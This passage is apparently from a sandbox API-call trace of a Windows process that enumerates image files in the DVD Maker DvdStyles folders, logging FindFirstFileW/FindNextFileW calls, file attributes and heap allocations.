dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0240.322] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e88633c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e88633c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_videoinset.png", cAlternateFileName="")) returned 1 [0240.322] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efaa4ac, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efaa4ac, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x59b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.322] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.322] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_VideoInset.png", cAlternateFileName="")) returned 1 [0240.322] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Push", cAlternateFileName="")) returned 1 [0240.323] GetProcessHeap () returned 0x560000 [0240.323] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0240.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0240.375] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.376] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0240.376] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047_576black.png", cAlternateFileName="")) returned 1 [0240.376] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.376] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.376] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.377] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.377] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.377] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.377] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2f02aa, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2f02aa, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="push.png", cAlternateFileName="")) returned 1 [0240.377] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0240.378] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_item.png", cAlternateFileName="")) returned 1 [0240.378] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 1 [0240.378] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 0 [0240.378] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0240.381] GetProcessHeap () returned 0x560000 [0240.382] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0240.382] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="RECTAN~1")) returned 1 [0240.382] GetProcessHeap () returned 0x560000 [0240.382] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0240.382] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0240.719] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.735] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0240.735] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9c8160, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9c8160, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0240.735] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eee5249, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0240.735] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9a2003, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9a2003, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0240.736] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa86831, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa86831, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.736] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.736] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa606d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa606d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.736] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1441a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa1441a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.736] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.737] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.737] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f92fbec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f92fbec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6114, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflect.png", cAlternateFileName="")) returned 1 [0240.737] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 1 [0240.737] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 0 [0240.737] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0240.740] GetProcessHeap () returned 0x560000 [0240.740] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0240.740] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0240.740] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0240.740] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0240.741] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eae790c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eae790c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_performance_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0240.741] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb0da69, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb0da69, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_photo_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0240.741] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea754f5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea754f5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_plain_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0240.741] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb33bc6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb33bc6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_postage_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0240.741] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, 